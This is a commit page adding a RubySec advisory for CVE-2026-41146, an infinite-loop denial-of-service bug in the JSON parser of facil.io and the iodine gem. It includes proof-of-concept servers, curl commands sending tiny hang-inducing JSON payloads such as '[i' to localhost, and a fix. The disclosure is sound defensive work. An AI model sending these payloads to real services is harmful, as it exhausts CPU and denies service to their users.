Skip to content

Commit a8ba155

Browse files
jasnowRubySec CI
authored andcommitted
Updated advisory posts against rubysec/ruby-advisory-db@7c8b10f
1 parent 804b24b commit a8ba155

1 file changed

Lines changed: 279 additions & 0 deletions

File tree

Lines changed: 279 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,279 @@
1+
---
2+
layout: advisory
3+
title: 'CVE-2026-41146 (iodine): Uncontrolled resource consumption and loop with unreachable
4+
exit condition in facil.io and downstream iodine ruby gem'
5+
comments: false
6+
categories:
7+
- iodine
8+
advisory:
9+
gem: iodine
10+
cve: 2026-41146
11+
ghsa: 2x79-gwq3-vxxm
12+
url: https://nvd.nist.gov/vuln/detail/CVE-2026-41146
13+
title: Uncontrolled resource consumption and loop with unreachable exit condition
14+
in facil.io and downstream iodine ruby gem
15+
date: 2026-04-14
16+
description: |-
17+
### Summary
18+
19+
`fio_json_parse` can enter an infinite loop when it encounters a
20+
nested JSON value starting with `i` or `I`. The process spins in
21+
user space and pegs one CPU core at ~100 instead of returning a
22+
parse error.
23+
24+
Because `iodine` gem vendors the same parser code, the issue also
25+
affects `iodine` gem when it parses attacker-controlled JSON.
26+
27+
The smallest reproducer found is `[i`. The quoted-value form that
28+
originally exposed the issue, `[""i`, reaches the same bug because
29+
the parser tolerates missing commas and then treats the trailing
30+
`i` as the start of another value.
31+
32+
### Details
33+
34+
The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around
35+
the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`;
36+
`master`: lines `434-468` in the current tree as tested).
37+
38+
This parser is reached from real library entry points, not just
39+
the header in isolation:
40+
41+
- `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`)
42+
and `402-411` (`fiobj_hash_update_json`)
43+
- `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`)
44+
- `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411`
45+
46+
Relevant flow:
47+
48+
1. Inside an array or object, the parser sees `i` or `I` and jumps
49+
to the `numeral:` label.
50+
51+
2. It calls `fio_atol((char **)&tmp)`.
52+
53+
3. For a bare `i` / `I`, `fio_atol` consumes zero characters and
54+
leaves `tmp == pos`.
55+
56+
4. The current code only falls back to float parsing when
57+
`JSON_NUMERAL[*tmp]` is true.
58+
59+
5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts
60+
the value as an integer and sets `pos = tmp` without advancing.
61+
62+
6. Because parsing is still nested (`parser->depth > 0`), the
63+
outer loop continues forever with the same `pos`.
64+
65+
The same logic exists in `iodine`'s vendored copy at
66+
`ext/iodine/fio_json_parser.h` lines `434-468`.
67+
68+
Why the `[""i` form hangs:
69+
70+
1. The parser accepts the empty string `""` as the first array element.
71+
2. It does not require a comma before the next token.
72+
3. The trailing `i` is then parsed as a new nested value.
73+
4. The zero-progress numeral path above causes the infinite loop.
74+
75+
Examples that trigger the bug:
76+
77+
- Array form, minimal: `[i`
78+
- Object form: `{"a":i`
79+
- After a quoted value in an array: `[""i`
80+
- After a quoted value in an object: `{"a":""i`
81+
82+
### Minimal standalone program
83+
84+
Use the normal HTTP stack. The following server calls `http_parse_body(h)`,
85+
which reaches `fiobj_json2obj` and then `fio_json_parse` for
86+
`Content-Type: application/json`.
87+
88+
```c
89+
#define _POSIX_C_SOURCE 200809L
90+
91+
#include <stdio.h>
92+
#include <time.h>
93+
#include <fio.h>
94+
#include <http.h>
95+
96+
static void on_request(http_s *h) {
97+
fprintf(stderr, "calling http_parse_body
98+
");
99+
fflush(stderr);
100+
http_parse_body(h);
101+
fprintf(stderr, "returned from http_parse_body
102+
");
103+
http_send_body(h, "ok
104+
", 3);
105+
}
106+
107+
int main(void) {
108+
if (http_listen("3000", "127.0.0.1",
109+
.on_request = on_request,
110+
.max_body_size = (1024 * 1024),
111+
.log = 1) == -1) {
112+
perror("http_listen");
113+
return 1;
114+
}
115+
fio_start(.threads = 1, .workers = 1);
116+
return 0;
117+
}
118+
```
119+
120+
`http_parse_body(h)` is the higher-level entry point and, for
121+
`Content-Type: application/json`, it reaches `fiobj_json2obj`
122+
in `lib/facil/http/http.c:1947-1953`.
123+
124+
Save it as `src/main.c` in a vulnerable `facil.io` checkout
125+
and build it with the repo `makefile`:
126+
127+
```bash
128+
git checkout 0.7.6
129+
mkdir -p src
130+
make NAME=http_json_poc
131+
```
132+
133+
Run:
134+
135+
```bash
136+
./tmp/http_json_poc
137+
```
138+
139+
Then in another terminal send one of these payloads:
140+
141+
```bash
142+
printf '[i' | curl --http1.1 -H 'Content-Type: application/json'
143+
-X POST --data-binary @- http://127.0.0.1:3000/
144+
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json'
145+
-X POST --data-binary @- http://127.0.0.1:3000/
146+
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json'
147+
-X POST --data-binary @- http://127.0.0.1:3000/
148+
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json'
149+
-X POST --data-binary @- http://127.0.0.1:3000/
150+
```
151+
152+
Observed result on a vulnerable build:
153+
154+
- The server prints `calling http_parse_body` and never reaches
155+
`returned from http_parse_body`.
156+
- The request never completes.
157+
- One worker thread spins until the process is killed.
158+
159+
### Downstream impact in `iodine`
160+
161+
`iodine` vendors the same parser implementation in
162+
`ext/iodine/fio_json_parser.h`, so any `iodine` code path that
163+
parses attacker-controlled JSON through this parser inherits
164+
the same hang / CPU exhaustion behavior.
165+
166+
Single-file `iodine` HTTP server repro:
167+
168+
```ruby
169+
require "iodine"
170+
171+
APP = proc do |env|
172+
body = env["rack.input"].read.to_s
173+
warn "calling Iodine::JSON.parse on: #{body.inspect}"
174+
Iodine::JSON.parse(body)
175+
warn "returned from Iodine::JSON.parse"
176+
[200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok
177+
"]]
178+
end
179+
180+
Iodine.listen service: :http,
181+
address: "127.0.0.1",
182+
port: "3000",
183+
handler: APP
184+
185+
Iodine.threads = 1
186+
Iodine.workers = 1
187+
Iodine.start
188+
```
189+
190+
Run:
191+
192+
```bash
193+
ruby iodine_json_parse_http_poc.rb
194+
```
195+
196+
Then in a second terminal:
197+
198+
```bash
199+
printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
200+
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
201+
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
202+
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
203+
```
204+
205+
On a vulnerable build, the server prints the `calling Iodine::JSON.parse...`
206+
line but never prints the `returned from Iodine::JSON.parse` line
207+
for these payloads.
208+
209+
## Impact
210+
211+
This is a denial-of-service issue. An attacker who can supply JSON
212+
to an affected parser path can cause the process to spin indefinitely
213+
and consume CPU at roughly 100 of one core. In practice, the impact
214+
depends on whether an application exposes parser access to untrusted
215+
clients, but for services that do, a single crafted request can tie
216+
up a worker or thread until it is killed or restarted.
217+
218+
I would describe the impact as:
219+
220+
- Availability impact: high for affected parser entry points
221+
- Confidentiality impact: none observed
222+
- Integrity impact: none observed
223+
224+
## Suggested Patch
225+
Treat zero-consumption numeric parses as failures before accepting the token.
226+
227+
```diff
228+
diff --git a/lib/facil/fiobj/fio_json_parser.h \
229+
b/lib/facil/fiobj/fio_json_parser.h
230+
@@
231+
uint8_t *tmp = pos;
232+
long long i = fio_atol((char **)&tmp);
233+
if (tmp > limit)
234+
goto stop;
235+
- if (!tmp || JSON_NUMERAL[*tmp]) {
236+
+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
237+
tmp = pos;
238+
double f = fio_atof((char **)&tmp);
239+
if (tmp > limit)
240+
goto stop;
241+
- if (!tmp || JSON_NUMERAL[*tmp])
242+
+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
243+
goto error;
244+
fio_json_on_float(parser, f);
245+
pos = tmp;
246+
```
247+
248+
This preserves permissive `inf` / `nan` handling when the float
249+
parser actually consumes input, but rejects bare `i` / `I` tokens
250+
that otherwise leave the cursor unchanged.
251+
252+
The same change should be mirrored to `iodine`'s vendored copy:
253+
254+
- `ext/iodine/fio_json_parser.h`
255+
256+
257+
## Impact
258+
- `facil.io`
259+
- Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e`
260+
(`git describe`: `0.7.5-24-g162df840`)
261+
- Verified on tagged releases `0.7.5` and `0.7.6`
262+
- `iodine` Ruby gem
263+
- Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8`
264+
- Verified on tag / gem version `v0.7.58`
265+
- The gem vendors a copy of the vulnerable parser in
266+
`ext/iodine/fio_json_parser.h`
267+
cvss_v4: 8.7
268+
related:
269+
url:
270+
- https://nvd.nist.gov/vuln/detail/CVE-2026-41146
271+
- https://github.com/boazsegev/iodine/releases/tag/v0.7.58
272+
- https://github.com/boazsegev/iodine/commit/0855989d74098d838b972520835cfc256bc479bc
273+
- https://github.com/boazsegev/facil.io/commit/5128747363055201d3ecf0e29bf0a961703c9fa0
274+
- https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm
275+
- https://github.com/advisories/GHSA-2x79-gwq3-vxxm
276+
notes: |
277+
- FYI: iodine commit above contains the unreleased patch.
278+
- Found GHSA's `patched_versions:` field is "0.7.59" but never released.
279+
---

0 commit comments

Comments
 (0)